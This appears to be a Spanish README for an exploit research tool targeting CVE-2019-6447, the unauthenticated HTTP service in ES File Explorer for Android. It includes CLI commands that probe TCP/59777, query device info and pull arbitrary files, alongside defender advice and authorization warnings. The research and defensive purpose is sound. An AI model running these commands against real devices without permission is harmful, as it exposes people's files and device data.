
Herramienta de análisis técnico e investigación con conciencia de seguridad para CVE-2019-6447 en ES File Explorer para Android
Un harness de investigación y análisis técnico implementado de forma independiente, consciente de la seguridad, para CVE-2019-6447, un servicio HTTP sin autenticación expuesto por versiones vulnerables de ES File Explorer para Android.
Solo para investigación autorizada. Utilice este proyecto únicamente contra dispositivos de su propiedad o para los que tenga permiso explícito de prueba. La CLI utiliza por defecto una sonda TCP no invasiva. Las operaciones que solicitan datos del dispositivo o archivos requieren un marcador explícito de autorización de laboratorio.
| Propiedad | Valor |
|---|---|
| Producto afectado | ES File Explorer File Manager para Android |
| Versiones afectadas | 4.1.9.7.4 y anteriores |
| Servicio expuesto | Servidor HTTP sin autenticación en TCP/59777 |
| Requisito previo del ataque | Adyacencia de red al dispositivo Android |
| Impacto | Enumeración de dispositivo/aplicaciones, lectura arbitraria de archivos y lanzamiento de aplicaciones |
| Debilidad raíz | CWE-306 — Falta de autenticación para funciones críticas |
| Gravedad NVD | CVSS 3.1: 8.1 Alto (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
Una vez lanzada la aplicación, el servicio embebido puede permanecer accesible en la red Wi-Fi local. Acepta comandos JSON sin autenticar al solicitante. Esto convierte una interfaz de gestión interna de la aplicación en una superficie de ataque accesible desde la red.
flowchart LR
A["Adjacent-network attacker"] -->|"HTTP POST / TCP 59777"| B["Embedded ES HTTP service"]
B --> C["Command dispatcher"]
C --> D["Device and app metadata"]
C --> E["Shared-storage files"]
C --> F["Android app launch"]Para ver el análisis completo, consulte docs/technical-analysis.md.
git clone https://github.com/acloudinthebluesky/CVE-2019-6447-ES-File-Explorer.git
cd CVE-2019-6447-ES-File-Explorer
python3 -m venv .venv
source .venv/bin/activate
python -m pip install -e .
esfile-6447 probe --target 192.168.56.10
Esto solo intenta una conexión TCP al puerto 59777. Un puerto abierto no es, por sí mismo, prueba de que el objetivo sea vulnerable.
esfile-6447 command \
--target 192.168.56.10 \
--name getDeviceInfo \
--i-understand-this-is-an-authorized-lab
esfile-6447 pull \
--target 192.168.56.10 \
--remote-path /sdcard/lab-marker.txt \
--output ./evidence/lab-marker.txt \
--i-understand-this-is-an-authorized-lab
Utilice únicamente archivos sintéticos. No recolecte datos personales como prueba del impacto.
Los defensores pueden buscar oyentes inesperados en TCP/59777 y solicitudes HTTP que contengan campos JSON command. Los controles de red pueden reducir la exposición, pero la solución duradera es eliminar o actualizar la aplicación vulnerable. Los servicios de gestión embebidos deben vincularse a loopback a menos que el acceso remoto sea esencial, autenticar cada solicitud, autorizar cada operación y finalizar cuando ya no sean necesarios.
python -m unittest discover -s tests -v
Las pruebas inician un servidor HTTP simulado solo en loopback. No contactan con anfitriones externos.
Este proyecto está destinado a la validación defensiva, la educación y la investigación autorizada de vulnerabilidades. Omite deliberadamente el escaneo de subredes y por defecto utiliza una sonda solo de conectividad. Acceder a un dispositivo sin permiso puede violar leyes y políticas incluso cuando no se retengan archivos.
El descubrimiento de la vulnerabilidad y la prueba de concepto pública original se atribuyen a los investigadores mencionados anteriormente. La implementación en este repositorio es una reimplementación educativa independiente.